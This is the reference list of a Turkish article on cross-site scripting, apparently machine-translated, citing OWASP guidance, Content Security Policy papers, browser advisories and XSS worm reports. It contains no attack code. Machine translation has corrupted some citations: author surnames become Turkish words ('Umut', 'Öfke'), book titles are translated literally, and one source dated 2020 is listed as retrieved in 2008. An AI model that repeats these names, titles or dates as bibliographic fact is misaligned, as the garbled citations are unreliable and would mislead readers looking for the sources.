  9. ^ Christey, Steve; Martin, Robert A. (22 Mayıs 2007). "CVE'deki Güvenlik Açığı Türü Dağılımları (sürüm 1.1)". MITRE Corporation. Alındı 7 Haziran 2008.
  10. ^ Berinato, Scott (1 Ocak 2007). "Yazılım Güvenlik Açığı Açıklaması: Chilling Etkisi". STK. CXO Media. s. 7. Arşivlenen orijinal 18 Nisan 2008. Alındı 7 Haziran 2008.
  11. ^ Amit, Yair (21 Aralık 2005). "Google.com UTF-7 XSS Güvenlik Açıkları". Ateş. Alındı 29 Mayıs 2008.
  12. ^ a b Paco, Umut; Walther, Ben (2008). Web Güvenliği Testi Yemek Kitabı. Sebastopol, CA: O'Reilly Media, Inc. s.128. ISBN  978-0-596-51483-9.
  13. ^ a b c "Siteler Arası Komut Dosyası". Web Uygulama Güvenliği Konsorsiyumu. 2005. Alındı 28 Mayıs 2008.
  14. ^ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D .; Öfke, Anton (2007). XSS Saldırıları: Siteler Arası Komut Dosyası Yararları ve Savunma (Özet). Google Kitap Arama aracılığıyla Elsevier Bilim ve Teknoloji. s. 70, 156. ISBN  978-1-59749-154-9. Alındı 28 Mayıs 2008.
  15. ^ Bu solucan, JS / Ofigel-A, JS / Quickspace.A ve JS.Qspace olarak adlandırılmıştır. "JS / Ofigel-A". Sophos. Arşivlenen orijinal 2 Ağustos 2009. Alındı 5 Haziran 2008. ve "F-Secure Kötü Amaçlı Yazılım Bilgi Sayfaları: JS / Quickspace.A". F-Secure. 5 Ocak 2007. Alındı 5 Haziran 2008. ve "JS.Qspace". Symantec Corp. 13 Şubat 2007. Alındı 5 Haziran 2008.
  16. ^ Virüsler ve solucanlar Alcorn, Wade (27 Eylül 2005). "Siteler Arası Komut Dosyası Virüsü". BindShell.net. Arşivlenen orijinal 16 Mayıs 2008. Alındı 27 Mayıs 2008. ve Grossman, Jeremiah (Kasım 2020). "Siteler Arası Komut Dosyası Yazan Solucanlar ve Virüsler: Yaklaşan Tehdit ve En İyi Savunma". WhiteHat Güvenliği. s. 20. Alındı 6 Haziran 2008.[kalıcı ölü bağlantı ]
  17. ^ "Hata 272620 - Dahili hata mesajlarında XSS güvenlik açığı". Bugzilla @ Mozilla. 2004. Alındı 29 Mayıs 2008.
  18. ^ "DOM tabanlı XSS". OWASP.
  19. ^ "JQuery hatası # 9521". 2011.
  20. ^ "DOM tabanlı XSS ​​önleme kısa bilgi sayfası". OWASP.
  21. ^ "Katı İçeriğe Dayalı Kaçış". Angular.js.
  22. ^ "Self-XSS Facebook dolandırıcılığı, kullanıcıları kendilerini hacklemeleri için kandırmaya çalışır". www.majorgeeks.com. Temmuz 29, 2014. Alındı 20 Eylül 2016.
  23. ^ a b c Lakshmanan Ganapathy (16 Şubat 2012). "XSS Saldırısı Örnekleri (Siteler Arası Komut Dosyası Çalıştırma Saldırıları)". www.thegeekstuff.com.
  24. ^ Brodkin, Jon (4 Ekim 2007). "Web sitelerinin saldırıya uğramasının en önemli 10 nedeni". Ağ Dünyası. IDG. Alındı 6 Şubat 2017.
  25. ^ a b Williams, Jeff (19 Ocak 2009). "XSS (Siteler Arası Komut Dosyası) Önleme Hile Sayfası". OWASP. Alındı 4 Şubat 2010.
  26. ^ "şablon - Go Programlama Dili". golang.org. Alındı 1 Mayıs, 2019.
  27. ^ "Google Developers". Google Developers. Alındı 1 Mayıs, 2019.
  28. ^ "pug-eklenti-güvenilir-türler". npm. Alındı 1 Mayıs, 2019.
  29. ^ Sharma, Anand (3 Şubat 2004). "Siteler arası komut dosyası çalıştırma saldırısını önleyin". IBM. Alındı 29 Mayıs 2008.
  30. ^ a b "ModSecurity: Özellikler: PDF Evrensel XSS Koruması". Güvenlik İhlali. Arşivlenen orijinal 23 Mart 2008. Alındı 6 Haziran 2008.
  31. ^ "Ajax ve Mashup Güvenliği". OpenAjax Alliance. Arşivlenen orijinal 3 Nisan 2008. Alındı 9 Haziran 2008.
  32. ^ O'Reilly, Tim (30 Eylül 2005). "Web 2.0 Nedir". O'Reilly Media. s. 4–5. Alındı 4 Haziran 2008.
  33. ^ "Bir sayfa, indirgenmiş bir biçimde olsa bile JavaScript olmadan çalışmalıdır." içinde Zammetti, Frank (16 Nisan 2007). Amazon Reader aracılığıyla Pratik JavaScript, DOM Komut Dosyası ve Ajax Projeleri. Apress. s. 36. ISBN  978-1-59059-816-0. Alındı 4 Haziran 2008.
  34. ^ "Internet Explorer'da güvenlik bölgeleri nasıl kullanılır". Microsoft. 18 Aralık 2007. Alındı 4 Haziran 2008.
  35. ^ Lie, Håkon Wium (7 Şubat 2006). "Opera 9 Teknoloji Önizlemesi 2". Opera Yazılımı. Arşivlenen orijinal 17 Mayıs 2008. Alındı 4 Haziran 2008.
  36. ^ "NoScript". Mozilla. 30 Mayıs 2008. Alındı 4 Haziran 2008. ve Mogull, Rich (18 Mart 2008). "Mac Kullanıcıları Antivirüs Yazılımı Çalıştırmalı mı?". TidBITS. TidBITS Yayıncılık. Alındı 4 Haziran 2008.
  37. ^ """DataWindow Programcı Kılavuzu'nda" istemci tarafı olayları kullanma. Sybase. Mart 2003. Arşivlenen orijinal 18 Haziran 2008. Alındı 4 Haziran 2008.
  38. ^ 2006'nın sonlarında sitelerin% 73'ü JavaScript'e güveniyordu. "'Çoğu web sitesi devre dışı bırakıldı ". BBC haberleri. 6 Aralık 2006. Alındı 4 Haziran 2008.
  39. ^ "NoScript Özellikleri". Alındı 7 Mart, 2009.
  40. ^ "İçerik Güvenliği Politikası Seviye 3". www.w3.org. Alındı 1 Mayıs, 2019.
  41. ^ Weichselbaum, Lukas (2016). "CSP Öldü, Yaşasın CSP! Beyaz Listelerin Güvensizliği ve İçerik Güvenliği Politikasının Geleceği Üzerine" (PDF). 2016 ACM SIGSAC Bilgisayar ve İletişim Güvenliği Konferansı Bildirileri. CCS '16: 1376–1387.
  42. ^ "Kullanabilir miyim ... HTML5, CSS3, vb. İçin destek tabloları". caniuse.com. Alındı 1 Mayıs, 2019.
  43. ^ "Katı CSP - İçerik Güvenliği Politikası". csp.withgoogle.com. Alındı 1 Mayıs, 2019.
  44. ^ "Google, Web Kusurlarını Azaltmak İçin İçerik Güvenliği Politikasını Nasıl Kullanıyor". eHAFTA. Alındı 1 Mayıs, 2019.
  45. ^ Akhawe, Devdatta. "[CSP] Raporlama ve Filtreleme Üzerine". Dropbox Tech Blogu. Alındı 1 Mayıs, 2019.
  46. ^ Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Nava, Eduardo Vela; Johns, Martin (2017). "Web için yeniden kod kullanım saldırıları: Komut Dosyası Araçları aracılığıyla Siteler Arası Komut Dosyası Azaltmalarını Önleme" (PDF). Alıntı dergisi gerektirir | günlük = (Yardım)
  47. ^ "Güvenilir Türler Spesifikasyon WIP". wicg.github.io. Alındı 1 Mayıs, 2019.
  48. ^ L. K. Shar ve H. B. K. Tan, "Web uygulamalarında siteler arası komut dosyası güvenlik açıklarının otomatik olarak kaldırılması" Bilgi ve Yazılım Teknolojisi, vol. 54, (5), pp. 467-478, 2012.
  49. ^ Mark, Goodwin; Mike, West. "Aynı Site Çerezleri". tools.ietf.org. Alındı 4 Mayıs 2018.
  50. ^ "Kullanabilir miyim ... HTML5, CSS3, vb. İçin destek tabloları". caniuse.com. Alındı 4 Mayıs 2018.
  51. ^ Di Paola, Stefano (3 Ocak 2007). "Adobe Acrobat Reader Eklentisi - Birden Fazla Güvenlik Açığı". Wisec.it. Alındı 13 Mart, 2012.
  52. ^ Suggi Liverani, Roberto (26 Nisan 2017). "McAfee Endpoint Security, www.mcafee.com ve bazı ekstra güzelliklerdeki UXSS ..." blog.malerisch.net. Alındı 3 Mayıs, 2017.
  53. ^ "Internet Explorer'daki güvenlik açığı, saldırganların rastgele programlar yürütmesine izin veriyor". Heise Media İngiltere. 16 Mayıs 2008. Alındı 7 Haziran 2008.
  54. ^ Suggi Liverani, Roberto (21 Nisan 2010). "Firefox'ta Bağlamlar Arası Komut Dosyası" (PDF). Security-Assessment.com. Alındı 3 Mayıs, 2017.
  55. ^ "Adobe Flash Player'da olası HTTP üstbilgisi enjeksiyon güvenlik açıkları için güncelleme mevcut". Adobe Sistemleri. 14 Kasım 2006. Alındı 7 Haziran 2008.
  56. ^ Auger, Robert (17 Nisan 2008). "Siteler Arası İstek Sahteciliği (CSRF / XSRF) SSS (sürüm 1.59)". Cgisecurity.com. Alındı 7 Haziran 2008.
  57. ^ Schneider, Christian. "CSRF ve aynı kökenli XSS". www.webappsecblog.com. Arşivlenen orijinal 14 Ağustos 2012. Alındı 21 Nisan 2012.
  58. ^ "OAuth 2.0 ve OpenID Yeniden Yönlendirme Güvenlik Açığı". Hacker Haberleri. 2 Mayıs 2014. Alındı 21 Aralık 2014.
  59. ^ Scharr, Jill (2 Mayıs 2014). "Facebook, Yeni Güvenlik Açığı Tarafından Tehdit Edilen Google Kullanıcıları". Tom'un Kılavuzu. Alındı 21 Aralık 2014.
  60. ^ "SQL Enjeksiyonu". Web Uygulama Güvenliği Konsorsiyumu. 2005. Alındı 7 Haziran 2008.
  61. ^ "Siteler Arası Komut Dosyası Yazma SSS". Cgisecurity.com. 2002. Alındı 7 Haziran 2008.
  62. ^ Abgrall, Erwan; Traon, Yves Le; Gombault, Sylvain; Monperrus Martin (2014). "Siteler Arası Komut Dosyası Altında Web Tarayıcısı Saldırı Yüzeyinin Ampirik Araştırması: Sistematik Güvenlik Gerileme Testi İçin Acil Bir İhtiyaç". 2014 IEEE Yedinci Uluslararası Yazılım Test, Doğrulama ve Doğrulama Çalıştayları Konferansı (PDF). sayfa 34–41. doi:10.1109 / ICSTW.2014.63. ISBN  978-1-4799-5790-3.

daha fazla okuma

Dış bağlantılar